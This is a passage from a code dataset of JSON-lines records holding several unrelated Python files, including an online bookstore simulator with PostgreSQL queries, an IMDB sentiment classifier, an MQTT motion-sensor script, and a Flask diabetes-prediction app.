be used.\")\r\n new_billinging_address = user_info[5]\r\n else:\r\n new_billinging_address = new_shipping_address\r\n #take new billing address\r\n elif billinging_selection==\"2\":\r\n new_billinging_address = input(\"Please enter your new billing address\\n(max 60 characters, if more than 60 characters are given, only first 60 will be taken): \")\r\n if len(new_billinging_address) > 60:\r\n new_billinging_address =new_billinging_address[0:60]\r\n #generate random number to be estimated_days_in_transit\r\n estimated_days_in_transit = random.randint(1,9)\r\n #set todays date into datetime object\r\n year, month, day = map(int, date.split('-'))\r\n estimated_delivery_date = datetime.date(year,month,day)\r\n #add estimated_days_in_transit + 2 - estimated delivery date\r\n estimated_delivery_date = estimated_delivery_date + datetime.timedelta(days=estimated_days_in_transit+2)\r\n\r\n print(\"\\nAll Information taken.\\nThe estimated delivery date is: \", estimated_delivery_date,\". \\nEnter 0 to confirm order using information above.\")\r\n final_input = input(\"Enter 1 to cancel order: \")\r\n #finalize informations then make the order\r\n if final_input=='0':\r\n final_name = user_info[2]\r\n\r\n final_payment_info = user_info[3]\r\n if payment_selection==\"1\":\r\n final_payment_info = new_payment_info\r\n\r\n final_shipping_info= user_info[4]\r\n if shipping_selection==\"1\":\r\n final_shipping_info = new_shipping_address\r\n\r\n final_billing_info= user_info[5]\r\n if billinging_selection!=\"0\":\r\n final_billing_info = new_billinging_address\r\n \r\n make_order(username, final_name, final_payment_info, final_shipping_info, final_billing_info, price, date, estimated_days_in_transit, estimated_delivery_date)\r\n\r\n cur.close()\r\n \r\n except Exception as queryerr:\r\n print(\"Could not run query (order_page - getting user info): \", queryerr) \r\n conn.rollback() \r\n except Exception as qerr:\r\n print(\"Could not run query (order_page - getting all the books in basket): \", qerr) \r\n conn.rollback()\r\n except Exception as sqle:\r\n print(\"Exception : \", sqle)\r\n\r\n#list all the books currently in the user's basket\r\ndef view_basket(username, date):\r\n try:\r\n conn = psycopg2.connect(host=constants.HOST, port=constants.PORT, dbname=constants.DBNAME, user=constants.USERID, password=constants.PASSWORD)\r\n cur = conn.cursor() \r\n #inner join book_in_user_basket, book on isbn, then select only the book informations.\r\n #shows all books in this user's basket\r\n try:\r\n cur.execute(\"\"\"\r\n select book.*, book_in_user_basket.quantity, book_publisher.publisher_name\r\n from book_in_user_basket \r\n inner join book on book.isbn = book_in_user_basket.isbn \r\n inner join book_publisher on book_publisher.isbn = book.isbn\r\n where book_in_user_basket.username = %s\"\"\", ([username]))\r\n conn.commit()\r\n book_result = cur.fetchall()\r\n\r\n print(\"\\nViewing Basket\")\r\n print(\"Here are the books currently in your basket:\")\r\n for row in book_result:\r\n build_string = \"Title: \" + str(row[1]) + \", Author name: \" + str(row[2]) + \", Genre: \" + str(row[3]) + \", Publisher: \" + str(row[8]) + \", Pages: \" + str(row[4])+ \", Price: $\" + str(row[5]) + \", ISBN: \" + str(row[0])+ \", Quantity: \" + str(row[7])\r\n print(build_string)\r\n \r\n order_input = input(\"\\nEnter 0 if you would like to complete your order, \\nenter 1 if you would like to go back to user front page: \")\r\n\r\n if order_input=='0':\r\n order_page(username, date)\r\n \r\n cur.close()\r\n\r\n except Exception as qerr:\r\n print(\"Could not run query (view_basket - getting all the books in basket): \", qerr) \r\n conn.rollback()\r\n except Exception as sqle:\r\n print(\"Exception : \", sqle)\r\n\r\n#lists all orders made my the user, and shows order information in detail\r\ndef view_orders(username):\r\n try:\r\n print(\"\\nOrder History of: \", username)\r\n conn = psycopg2.connect(host=constants.HOST, port=constants.PORT, dbname=constants.DBNAME, user=constants.USERID, password=constants.PASSWORD)\r\n cur = conn.cursor() \r\n #get all orders from this user\r\n try:\r\n cur.execute(\"\"\"\r\n select * \r\n from store_order \r\n inner join user_order on user_order.order_id = store_order.order_id\r\n where user_order.username = %s\"\"\", ([username]))\r\n conn.commit()\r\n order_result = cur.fetchall()\r\n \r\n #get all books in the order per order\r\n try:\r\n #start printing\r\n for row in order_result:\r\n #build string for order\r\n build_string = \"\\n\\nOrder ID: \" + str(row[0]) + \"\\nOrdered On: \" + str(row[6]) + \"\\nPayment Information: \" + str(row[1]) + \"\\nTotal Price: $\" + str(row[2]) + \"\\nSent to: \" + str(row[3]) + \"\\nBill sent to: \" + str(row[4]) + \"\\nCurrent Status: \" + str(row[5]) + \"\\n\"\r\n #use status to see if order is delivered yet\r\n if str(row[5]) == \"Delivery Complete\":\r\n build_string += \"Delivered on: \" + str(row[8]) + \"\\n\"\r\n else:\r\n build_string += \"Estimated to be delivered on: \" + str(row[8]) + \"\\n\"\r\n \r\n #get all books in the order\r\n cur.execute(\"\"\"\r\n select book.*, book_ordered.quantity, book_publisher.publisher_name\r\n from book \r\n inner join book_ordered on book_ordered.isbn = book.isbn \r\n inner join book_publisher on book_publisher.isbn = book.isbn\r\n where book_ordered.order_id = %s\"\"\", ([str(row[0])]))\r\n conn.commit()\r\n book_result = cur.fetchall()\r\n #print order then books\r\n print(build_string)\r\n print(\"Books In the Order:\")\r\n for i in book_result:\r\n print(\"\\nISBN: \" + str(i[0])+\"\\nTitle: \" + str(i[1]) + \"\\nAuthor name: \" + str(i[2]) + \"\\nGenre: \" + str(i[3]) + \"\\nPublisher: \" + str(i[8]) + \"\\nPages: \" + str(i[4]) + \"\\nPrice: $\" + str(i[5]) + \"\\nQuantity: \" + str(i[7]))\r\n \r\n cur.close()\r\n print(\"\\nEnd of Orders, going back to users front page.\")\r\n\r\n except Exception as querr:\r\n print(\"Could not run query (view_orders - getting all books in each order): \", querr) \r\n conn.rollback()\r\n except Exception as qerr:\r\n print(\"Could not run query (view_orders - getting all the orders): \", qerr) \r\n conn.rollback()\r\n except Exception as sqle:\r\n print(\"Exception : \", sqle)\r\n\r\n#track orders using the orders id\r\ndef track_orders():\r\n try:\r\n conn = psycopg2.connect(host=constants.HOST, port=constants.PORT, dbname=constants.DBNAME, user=constants.USERID, password=constants.PASSWORD)\r\n cur = conn.cursor() \r\n #get user input for an unique id, then find the corresponding order\r\n try:\r\n print(\"\\nOrder Tracking\")\r\n\r\n track_flag = 0\r\n\r\n while track_flag == 0:\r\n uid = input(\"Input unique ID of the order you wish to track: \")\r\n cur.execute(\"select * from store_order where order_id = %s\", ([uid]))\r\n conn.commit()\r\n track_result = cur.fetchone()\r\n\r\n if track_result is not None:\r\n print(\"\\nOrder ID: \", track_result[0], \"\\nOrdered On: \", track_result[6],\"\\nCurrent Stauts: \", track_result[5], \"\\nTotal Price: $\", track_result[2], \"\\nBeing shipped to: \", track_result[3])\r\n \r\n if str(track_result[5]) == \"Delivery Complete\":\r\n print(\"Delivered on: \", track_result[8])\r\n else:\r\n print(\"Estimated to be delivered on: \", track_result[8])\r\n\r\n track_flag = 1\r\n \r\n else:\r\n print(\"Can not find any order matchin the id.\")\r\n track_input = input(\"Enter 0 if you want to try again.\\nEnter 1 to go back to user front page\")\r\n\r\n if track_input=='1':\r\n track_flag = 1\r\n\r\n cur.close()\r\n\r\n except Exception as qerr:\r\n print(\"Could not run query (track_orders): \", qerr) \r\n conn.rollback()\r\n except Exception as sqle:\r\n print(\"Exception : \", sqle)\r\n\r\n#user can edit any profile information, or delete their account\r\ndef edit_info(username, name):\r\n print(\"\\nProfile Edit / Delete Page\")\r\n edit_input = input(\"Enter 0 if you want edit your information.\\nEnter 1 to delete account\\nEnter 2 to go back to user front page: \")\r\n if edit_input=='0':\r\n #get current user info (before edit)\r\n try:\r\n conn = psycopg2.connect(host=constants.HOST, port=constants.PORT, dbname=constants.DBNAME, user=constants.USERID, password=constants.PASSWORD)\r\n cur = conn.cursor() \r\n #get user using username and get user's input\r\n try:\r\n cur.execute(\"select * from store_user where username = %s\", ([username]))\r\n conn.commit()\r\n user_retrieved = cur.fetchone()\r\n\r\n new_password = user_retrieved[1]\r\n new_name = user_retrieved[2]\r\n new_payment_info = user_retrieved[3]\r\n new_shipping_address = user_retrieved[4]\r\n new_billing_address = user_retrieved[5]\r\n\r\n print(\"\\nEditing Information.\\nYou can not change your username.\")\r\n\r\n password_input = input(\"Would you like to change your password?\\n0 for yes, 1 for no: \")\r\n if password_input == '0':\r\n new_password = input(\"Please enter your password\\n(max 10 characters, if more than 10 characters are given, only first 10 will be taken): \")\r\n if len(new_password) > 10:\r\n new_password =new_password[0:10]\r\n\r\n name_input = input(\"Would you like to change your name?\\n0 for yes, 1 for no: \")\r\n if name_input == '0':\r\n new_name = input(\"Please enter your name\\n(max 30 characters, if more than 30 characters are given, only first 30 will be taken): \")\r\n if len(new_name) > 30:\r\n new_name =new_name[0:30]\r\n\r\n payment_input = input(\"Would you like to change your method of payment?\\n0 for yes, 1 for no: \")\r\n if payment_input == '0':\r\n payment_flag = 0\r\n #check if payment_info is 8 digits and only contains numbers \r\n while payment_flag == 0:\r\n new_payment_info = input(\"Please enter your payment information\\n(8 digit number to mimic credit card number): \")\r\n if len(new_payment_info) == 8 and new_payment_info.isdecimal():\r\n payment_flag = 1\r\n \r\n shipping_input = input(\"Would you like to change your shipping address?\\n0 for yes, 1 for no: \")\r\n if shipping_input == '0':\r\n new_shipping_address = input(\"Please enter your shipping address\\n(max 60 characters, if more than 60 characters are given, only first 60 will be taken):\")\r\n if len(new_shipping_address) > 60:\r\n new_shipping_address =new_shipping_address[0:60]\r\n \r\n billing_input = input(\"Would you like to change your billing address?\\n0 for yes, 1 for no: \")\r\n if billing_input == '0':\r\n billing_address_same = input(\"Enter 0 if your billing address is the same as your NEW shipping address, 1 if not.\\nIf you enter 0 when you did nont enter in a new shipping address, your new billing address will be same as your old shipping address.\\nEnter input: \")\r\n if billing_address_same == '1':\r\n new_billing_address = input(\"Please enter your billing address\\n(max 60 characters, if more than 60 characters are given, only first 60 will be taken):\")\r\n if len(new_billing_address) > 60:\r\n new_billing_address =new_billing_address[0:60]\r\n elif billing_address_same == '0':\r\n new_billing_address = new_shipping_address\r\n\r\n try:\r\n cur.execute(\"update store_user set password = %s, name = %s, payment_info = %s, shipping_address = %s, billing_address = %s where username = %s\", (new_password, new_name, new_payment_info, new_shipping_address, new_billing_address, username))\r\n conn.commit()\r\n cur.close()\r\n print(\"\\nAccount Information Update Complete!\")\r\n except Exception as update_err:\r\n print(\"Could not run query (edit_info - updating user): \", update_err) \r\n conn.rollback()\r\n except Exception as qerr:\r\n print(\"Could not run query (edit_info - gettin user info): \", qerr) \r\n conn.rollback()\r\n except Exception as sqle:\r\n print(\"Exception : \", sqle)\r\n \r\n\r\n elif edit_input=='1':\r\n print(\"\\nAre you sure you want to delete your account?\")\r\n sure_input = input(\"Enter 0 again if you are sure: \")\r\n if sure_input == '0':\r\n try:\r\n conn = psycopg2.connect(host=constants.HOST, port=constants.PORT, dbname=constants.DBNAME, user=constants.USERID, password=constants.PASSWORD)\r\n cur = conn.cursor() \r\n #delete account\r\n #user_order and book_in_user_basket are on delete cascade, so do not worry about them\r\n try:\r\n cur.execute(\"delete from store_user where username = %s\", ([username]))\r\n conn.commit()\r\n cur.close()\r\n except Exception as derr:\r\n print(\"Could not run query (edit_info - deleting user): \", derr) \r\n conn.rollback()\r\n except Exception as sqle:\r\n print(\"Exception : \", sqle)\r\n print(\"\\nDeleting account, good bye\", name)\r\n return 0\r\n return 1\r\n elif edit_input=='2':\r\n return 1\r\n\r\n#find the most recent order's date\r\n#user will not be able to set the date previous to this date\r\ndef get_first_date_available(username):\r\n try:\r\n conn = psycopg2.connect(host=constants.HOST, port=constants.PORT, dbname=constants.DBNAME, user=constants.USERID, password=constants.PASSWORD)\r\n cur = conn.cursor() \r\n try:\r\n #query to get most recent ordered date by the user\r\n cur.execute(\"\"\"\r\n select ordered_date \r\n from store_order \r\n inner join user_order on store_order.order_id = user_order.order_id \r\n where user_order.username = %s \r\n order by ordered_date desc limit 1\"\"\", ([username]))\r\n conn.commit()\r\n date_retrieved = cur.fetchone()\r\n\r\n if date_retrieved is not None:\r\n date_retrieved = date_retrieved[0]\r\n\r\n cur.close()\r\n\r\n return date_retrieved\r\n\r\n except Exception as qerr:\r\n print(\"Could not run query (get_first_date_available): \", qerr) \r\n conn.rollback()\r\n except Exception as sqle:\r\n print(\"Exception : \", sqle)\r\n\r\n#find all orders by this user, then change its status depending on the current day given\r\ndef set_order_status(username, date):\r\n try:\r\n conn = psycopg2.connect(host=constants.HOST, port=constants.PORT, dbname=constants.DBNAME, user=constants.USERID, password=constants.PASSWORD)\r\n cur = conn.cursor() \r\n try:\r\n #query to get all orders by the user\r\n cur.execute(\"\"\"\r\n select * \r\n from store_order \r\n inner join user_order on user_order.order_id = store_order.order_id\r\n where user_order.username = %s\"\"\", ([username]))\r\n conn.commit()\r\n order_result = cur.fetchall()\r\n\r\n try:\r\n #for each order\r\n for row in order_result:\r\n #row[0] - order.id\r\n #row[5] - current_status\r\n #row[6] - ordered-date\r\n #row[7] - estimated_days_in_transit\r\n #run function for each orders\r\n cur.callproc('set_status', (str(row[6]),date,str(row[7]),str(row[0])))\r\n conn.commit()\r\n\r\n cur.close()\r\n\r\n except Exception as querr:\r\n print(\"Could not run query (set_order_status - changing all order statuses): \", querr) \r\n conn.rollback()\r\n except Exception as qerr:\r\n print(\"Could not run query (set_order_status - retrieving all orders by this user): \", qerr) \r\n conn.rollback()\r\n except Exception as sqle:\r\n print(\"Exception : \", sqle)\r\n\r\n\r\n#main program that allow users to search book by various criteria they want\r\ndef user_mode(name, username):\r\n most_recent_order_date = get_first_date_available(username)\r\n \r\n if most_recent_order_date is not None:\r\n date_str = \"\\nWhat is the day today?\\n Input in following format: YYYY-MM-DD. Once you make an order, you will not be able to set the date previous of the order.\\nCurrently, the earliest date you may set into is \" + str(most_recent_order_date)\r\n else:\r\n date_str = \"\\nWhat is the day today?\\n Input in following format: YYYY-MM-DD. Once you make an order, you will not be able to set the date previous of the order.\\nCurrently, the earliest date you may set into is any date\"\r\n print(date_str)\r\n date_input = input(\"Input date here. MAKE SURE IT IS IN YYYY-MM-DD FORMAT: \")\r\n\r\n if most_recent_order_date is not None:\r\n #change all order's current_status for this date\r\n set_order_status(username, date_input)\r\n \r\n\r\n welcome_msg = \"\\nUser Front Page\\n\\tHello \" + name + \"\"\"!\r\n Welcome to Look Inna Book!\r\n\r\n Would you like to search for a book?\r\n Enter:\r\n 0 - by title\r\n 1 - by author name\r\n 2 - by ISBN\r\n 3 - by genre\r\n 4 - by pages\r\n 5 - by multiple factors\r\n\r\n Or take other actions?\r\n Enter:\r\n 6 - view recommended books based on order history\r\n 7 - view your order history\r\n 8 - view your basket and confirm order\r\n 9 - track your orders\r\n 10 - edit your account information or delete account\r\n 11 - change today's date\r\n\r\n\r\n To logout and go back to the first welcome page, enter any other integers.\r\n \"\"\"\r\n print(welcome_msg)\r\n while (1):\r\n most_recent_order_date = get_first_date_available(username)\r\n mode = input(\"Enter in your choice: \")\r\n if mode in ['0','1','2','3','4','5']:\r\n search_books(int(mode), username)\r\n elif mode == '6':\r\n view_recommended_books(username)\r\n elif mode == '7':\r\n view_orders(username)\r\n elif mode == '8':\r\n view_basket(username, date_input)\r\n elif mode == '9':\r\n track_orders()\r\n elif mode == '10':\r\n delete_flag = edit_info(username, name)\r\n #if user deleted this account, go back to main page\r\n if delete_flag == 0:\r\n break\r\n elif mode == '11':\r\n if most_recent_order_date is not None:\r\n print(\"Input new date here. \\nMAKE SURE IT IS IN YYYY-MM-DD FORMAT AND IS NOT BEFORE \", most_recent_order_date)\r\n date_input = input(\"Enter: \")\r\n #change all order's current_status for this date\r\n set_order_status(username, date_input)\r\n else:\r\n date_input = input(\"Input new date here. \\nMAKE SURE IT IS IN YYYY-MM-DD FORMAT.\\n Enter: \")\r\n else:\r\n print(\"Logging out, good bye \", name, \"!\")\r\n break\r\n \r\n second_msg = \"\"\"\r\n\r\n User Front page\r\n\r\n Would you like to search for a book?\r\n Enter:\r\n 0 - by title\r\n 1 - by author name\r\n 2 - by ISBN\r\n 3 - by genre\r\n 4 - by pages\r\n 5 - by multiple factors\r\n\r\n Or take other actions?\r\n Enter:\r\n 6 - view recommended books based on order history\r\n 7 - view your order history\r\n 8 - view your basket and confirm order\r\n 9 - track your orders\r\n 10 - edit your account information or delete account\r\n 11 - change today's date\r\n\r\n To logout and go back to the first welcome page, enter any other integers.\r\n \"\"\"\r\n print(second_msg)","repo_name":"richard-dh-kim/OnlineBookStoreSimulator","sub_path":"RichardKim_101138475_FinalProject_COMP3005/user.py","file_name":"user.py","file_ext":"py","file_size_in_byte":53650,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"29237729953","text":"# ==========================================================================================================\r\n# Build and train a binary classifier for the IMDB review dataset.\r\n# The classifier should have a final layer with 1 neuron activated by sigmoid.\r\n#\r\n# The dataset used in this problem is originally published in http://ai.stanford.edu/~amaas/data/sentiment/\r\n#\r\n# Target accuracy and validation_accuracy > 83%\r\n# ===========================================================================================================\r\n\r\nimport tensorflow as tf\r\nimport tensorflow_datasets as tfds\r\nimport numpy as np\r\nfrom tensorflow.keras.preprocessing.text import Tokenizer\r\nfrom tensorflow.keras.preprocessing.sequence import pad_sequences\r\n\r\n\r\ndef solution():\r\n imdb, info = tfds.load(\"imdb_reviews\", with_info=True, as_supervised=True)\r\n # print(info)\r\n # print(imdb)\r\n for example in imdb['train'].take(2):\r\n print(example)\r\n\r\n train_data, test_data = imdb['train'], imdb['test']\r\n\r\n training_sentences = []\r\n training_labels = []\r\n testing_sentences = []\r\n testing_labels = []\r\n\r\n for s, l in train_data:\r\n training_sentences.append(s.numpy().decode('utf8'))\r\n training_labels.append(l.numpy())\r\n\r\n for s, l in test_data:\r\n testing_sentences.append(s.numpy().decode('utf8'))\r\n testing_labels.append(l.numpy())\r\n\r\n\r\n training_labels_final = np.array(training_labels)\r\n testing_labels_final = np.array(testing_labels)\r\n\r\n vocab_size = 10000\r\n embedding_dim = 16\r\n max_length = 120\r\n trunc_type = 'post'\r\n oov_tok = \"\"\r\n\r\n tokenizer = Tokenizer(num_words=vocab_size, oov_token=oov_tok)\r\n tokenizer.fit_on_texts(training_sentences)\r\n word_index = tokenizer.word_index\r\n\r\n sequences = tokenizer.texts_to_sequences(training_sentences)\r\n padded = pad_sequences(sequences, maxlen=max_length, truncating=trunc_type)\r\n\r\n testing_sequences = tokenizer.texts_to_sequences(testing_sentences)\r\n testing_padded = pad_sequences(testing_sequences, maxlen=max_length)\r\n\r\n\r\n reverse_word_index = dict([(value, key) for (key, value) in word_index.items()])\r\n\r\n def decode_review(text):\r\n return ' '.join([reverse_word_index.get(i, '?') for i in text])\r\n\r\n model = tf.keras.Sequential([ \r\n # Modify model here. Don't change the last layer.\r\n tf.keras.layers.Embedding(vocab_size, embedding_dim, input_length=max_length),\r\n tf.keras.layers.Dropout(0.5),\r\n tf.keras.layers.Flatten(),\r\n tf.keras.layers.Dense(128, activation='relu'),\r\n tf.keras.layers.Dense(1, activation='sigmoid')\r\n ])\r\n\r\n # Make sure you are using binary loss function\r\n model.compile(loss='binary_crossentropy',\r\n optimizer='adam',\r\n metrics=['accuracy'])\r\n\r\n callback = tf.keras.callbacks.EarlyStopping(monitor='val_accuracy', min_delta=0.001, patience=2, baseline=0.83)\r\n #add callbacks in model.fit when it need to avoid overvitting\r\n \r\n history = model.fit(padded,\r\n training_labels_final,\r\n epochs=10,\r\n validation_data=(testing_padded, testing_labels_final))\r\n\r\n return model\r\n\r\n\r\n\r\nif __name__ == '__main__':\r\n # The code below is to run and save model as a .h5 file.\r\n # You can change the model format according to your needs\r\n model = solution()\r\n model.save(\"model.h5\")\r\n\r\n","repo_name":"IrvnC/Information-retrieval-and-sentiment-analysis-task","sub_path":"IMDB MOVIE REVIEW DATASETS FOR SENTIMENT CLASSIFICATION/ML_IMDB_Model.py","file_name":"ML_IMDB_Model.py","file_ext":"py","file_size_in_byte":3449,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"71113203394","text":"# This Python script uses the MQTT (Message Queuing Telemetry Transport) protocol to communicate between a motion sensor device and a light control system. \r\n# The script consists of two parts: one for the motion sensor device (motionDevice.py) and one for the light control system (lightControl.py).\r\n\r\n# This is the first part of the script (motionDevice.py), which runs on the motion sensor device.\r\n\r\n\r\n\r\n#Import of the libraries\r\nimport paho.mqtt.client as mqtt #for MQTT protocol\r\nimport time #to simulate IoT delays\r\nimport random #to create random id\r\nimport json #to convert the python dictionary into a JSON string that can be written into a file\r\n\r\n# Set up the device's ID and type\r\ndevice_id = \"Device_001\"\r\ndevice_type = \"motion_sensor\"\r\n\r\n# Define the on_connect and on_publish functions for the MQTT client\r\ndef on_connect(client, userdata, flags, rc): #rc (return code) is used for checking that the connection was established.\r\n print(\"Connected to broker with result code \"+str(rc))\r\n\r\ndef on_publish(client, userdata, mid): #mid value is an integer that corresponds to the published message number as assigned by the client.\r\n print(\"Message published with mid \"+str(mid))\r\n\r\n# Create MQTT client instance\r\nclient = mqtt.Client()\r\n\r\n#Assign the on_connect and on_publish functions to it\r\nclient.on_connect = on_connect\r\nclient.on_publish = on_publish\r\n\r\n# Connect to the MQTT broker\r\nclient.connect(\"mqtt.eclipseprojects.io\") # a public test MQTT broker address/service \"https://mqtt.eclipseprojects.io/ \"\r\n\r\n# Loop indefinitely\r\nwhile True:\r\n # Simulate motion detection by randomly selecting True or False\r\n motion_detected = random.choice([True, False])\r\n \r\n # Create a dictionary containing the device's ID, type, and whether motion was detected\r\n data = {\r\n \"device_id\": device_id,\r\n \"device_type\": device_type,\r\n \"motion_detected\": motion_detected\r\n }\r\n \r\n # Convert the dictionary to a JSON string and publish it to the \"motion_sensor\" topic\r\n payload = json.dumps(data)\r\n print(\"Publishing: \" + payload)\r\n client.publish(\"motion_sensor\", payload)\r\n \r\n # If motion was detected, also publish a message to turn on the light\r\n if motion_detected:\r\n print(\"Motion detected! Lights on\")\r\n client.publish(\"light_control\", \"on\")\r\n else:\r\n print(\"No motion detected.\")\r\n \r\n # Wait for 5 seconds before repeating the loop\r\n time.sleep(5)\r\n\r\n\r\n\r\n\r\n#CODE SUMMARY:\r\n\r\n# It starts by importing the required libraries then it defines the MQTT broker parameters/connection and sets up the device's ID and type. \r\n# It also defines the on_connect and on_publish functions for the MQTT client, which are called when the client connects to the broker and publishes a message, respectively. \r\n# The script creates an MQTT client instance, assigns the on_connect and on_publish functions to it, and connects to the MQTT broker. \r\n# The script then enters an infinite loop where it simulates motion detection by randomly selecting True or False, \r\n# creates a dictionary containing the device's ID, type, and whether motion was detected, \r\n# converts the dictionary to a JSON string, and publishes it to the \"motion_sensor\" topic. \r\n\r\n# If motion was detected, it also publishes a message to turn on the light by publishing a \"on\" message to the \"light_control\" topic.\r\n# The loop then waits for 5 seconds before repeating.","repo_name":"MUTEGIbeatrice/Group2-paho-mqtt","sub_path":"hub/motionDevice.py","file_name":"motionDevice.py","file_ext":"py","file_size_in_byte":3432,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"71971170435","text":"import datetime\nfrom unicodedata import name\n\nimport pandas as pd\nfrom dotenv import main\nfrom hnmchallenge.constant import DEFAULT_ITEM_COL, DEFAULT_USER_COL\n\nfrom hnmchallenge.features.feature_interfaces import UserItemFeature\n\n\nclass TimeScore(UserItemFeature):\n FEATURE_NAME = \"time_score\"\n\n def __init__(self, dataset, kind: str) -> None:\n super().__init__(dataset, kind)\n\n def _create_feature(self) -> pd.DataFrame:\n data_df = (\n self.dataset.get_holdin()\n if self.kind == \"train\"\n else self.dataset.get_full_data()\n )\n data_df = data_df[[DEFAULT_USER_COL, DEFAULT_ITEM_COL, \"t_dat\", \"price\"]]\n data_df[\"last_buy\"] = data_df.groupby(DEFAULT_USER_COL)[\"t_dat\"].transform(max)\n data_df[\"first_buy\"] = data_df.groupby(DEFAULT_USER_COL)[\"t_dat\"].transform(min)\n data_df[\"time_score\"] = (data_df[\"t_dat\"] - data_df[\"first_buy\"]) / (\n data_df[\"last_buy\"] - data_df[\"first_buy\"]\n )\n data_df[\"time_score\"] = data_df[\"time_score\"].fillna(0)\n data_df.drop([\"last_buy\", \"first_buy\"], axis=1)\n\n feature = data_df[[DEFAULT_USER_COL, DEFAULT_ITEM_COL, \"time_score\"]]\n feature = feature[\n ~(feature[[DEFAULT_USER_COL, DEFAULT_ITEM_COL]].duplicated())\n ].drop_duplicates([DEFAULT_USER_COL, DEFAULT_ITEM_COL], keep=\"last\")\n feature = feature.rename({\"time_score\": self.FEATURE_NAME}, axis=1)\n print(feature)\n return feature\n","repo_name":"damicoedoardo/HnMChallenge","sub_path":"hnmchallenge/features/user_item_features/time_recent_buy.py","file_name":"time_recent_buy.py","file_ext":"py","file_size_in_byte":1489,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"73151716354","text":"import argparse\nimport os\nimport errno\nfrom src_py.crawler import Crawler\nfrom src_py.utils import open_image, save_image\n\n\nif __name__ == \"__main__\":\n parser = argparse.ArgumentParser()\n parser.add_argument('-i', \n '--input_path', \n type=str, \n required=True, \n help='path to input image')\n\n parser.add_argument('-o', \n '--output_path', \n type=str, \n help='path to save output image separately')\n \n args = parser.parse_args()\n\n if not os.path.exists(args.input_path):\n raise FileNotFoundError(\n errno.ENOENT, \n os.strerror(errno.ENOENT), \n args.input_path\n )\n\n # if output path exists, check if it's valid\n\n world = open_image(args.input_path)\n crawler = Crawler(2, 2, world)\n\n while not crawler.isdead:\n crawler()\n\n if args.output_path is not None:\n save_image(world, args.output_path)\n else:\n save_image(world, args.input_path)\n ","repo_name":"FChippendale/Crawler.PNG","sub_path":"run.py","file_name":"run.py","file_ext":"py","file_size_in_byte":1120,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"200963488","text":"from collections import deque\nimport sys\ninput = sys.stdin.readline\nlst = deque()\nfor _ in range(int(input())):\n\torder = input().split()\n\tif order[0] == 'push_front':\n\t\tlst.appendleft(int(order[1]))\n\telif order[0] == 'push_back':\n\t\tlst.append(int(order[1]))\n\telif order[0] == 'pop_front':\n\t\tif not lst:\n\t\t\tprint(-1)\n\t\telse:\n\t\t\tprint(lst.popleft())\n\telif order[0] == 'pop_back':\n\t\tif not lst:\n\t\t\tprint(-1)\n\t\telse:\n\t\t\tprint(lst.pop())\n\telif order[0] == 'size':\n\t\tprint(len(lst))\n\telif order[0] == 'empty':\n\t\tif not lst:\n\t\t\tprint(1)\n\t\telse:\n\t\t\tprint(0)\n\telif order[0] == 'front':\n\t\tif not lst:\n\t\t\tprint(-1)\n\t\telse:\n\t\t\tprint(lst[0])\n\telif order[0] == 'back':\n\t\tif not lst:\n\t\t\tprint(-1)\n\t\telse:\n\t\t\tprint(lst[-1])","repo_name":"Zerotay/Baekjoon","sub_path":"step_by_step/step_21/10866.py","file_name":"10866.py","file_ext":"py","file_size_in_byte":707,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"23790310418","text":"import logging\nimport psycopg2\nimport os \n\nclass Database():\n # Função para criar conexão no banco\n def conect_db(self):\n attempt = 0\n error = None\n while attempt < 5:\n try:\n db = psycopg2.connect(host=os.getenv('POSTGRES_HOST'),\n dbname=os.getenv('POSTGRES_DB'),\n user=os.getenv('POSTGRES_USER'),\n password=os.getenv('POSTGRES_PASSWORD'),\n port=os.getenv('POSTGRES_PORT'))\n return db\n except Exception as e:\n error = e\n logging.info(\"Error: %s\" % error)\n attempt += 1\n if attempt == 5 and error is not None:\n raise error\n return db\n\n # Função para criar ou dropar uma tabela no banco\n def create_drop_db(self, sql):\n con = self.conect_db()\n cur = con.cursor()\n cur.execute(sql)\n con.commit()\n con.close()\n\n # Função para inserir dados no banco\n def insert_delete_db(self, sql):\n con = self.conect_db()\n cur = con.cursor()\n try:\n cur.execute(sql)\n con.commit()\n except (Exception, psycopg2.DatabaseError) as error:\n logging.info(\"Error: %s\" % error)\n con.rollback()\n cur.close()\n return 1\n cur.close()\n\n def consult_db(self, sql):\n con=self.conect_db()\n cur=con.cursor()\n cur.execute(sql)\n recset=cur.fetchall()\n registros=[]\n for rec in recset:\n registros.append(rec)\n con.close()\n return registros\n\n\ndb=Database()\n","repo_name":"MLRG-CEFET-RJ/pondoc","sub_path":"source/app/core/database.py","file_name":"database.py","file_ext":"py","file_size_in_byte":1738,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"7347112452","text":"from flask import Flask, render_template, request\r\nimport pickle\r\nimport numpy as np\r\n\r\nmodel = pickle.load(open('model.pkl','rb'))\r\n\r\napp = Flask(__name__)\r\n\r\n@app.route('/')\r\ndef index():\r\n return render_template('index.html')\r\n\r\n@app.route('/predict', methods=['POST'])\r\ndef predict_diabetes():\r\n pregnancies = int(request.form.get('pregnancies'))\r\n glucose = int(request.form.get('glucose'))\r\n bmi = float(request.form.get('bmi'))\r\n diabetes_pedigree_function = float(request.form.get('diabetes_pedigree_function'))\r\n age = int(request.form.get('age'))\r\n\r\n # prediction\r\n result = model.predict(np.array([pregnancies,glucose,bmi,diabetes_pedigree_function,age]).reshape(1,5))\r\n\r\n if result[0] == 1:\r\n result = 'diabetic patient'\r\n else:\r\n result = 'healthy patient'\r\n\r\n return result\r\n\r\nif __name__ == '__main__':\r\n app.run(debug=True)","repo_name":"Rohan-Yelve/Diabetes-Prediction","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":889,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"33409632116","text":"from django.core.management.base import BaseCommand\nfrom loki.education.models import Course, CheckIn\n\n\nclass Command(BaseCommand):\n help = \"Calculate presence\"\n\n def handle(self, **options):\n\n active_courses = Course.objects.get_active_courses()\n\n for course in 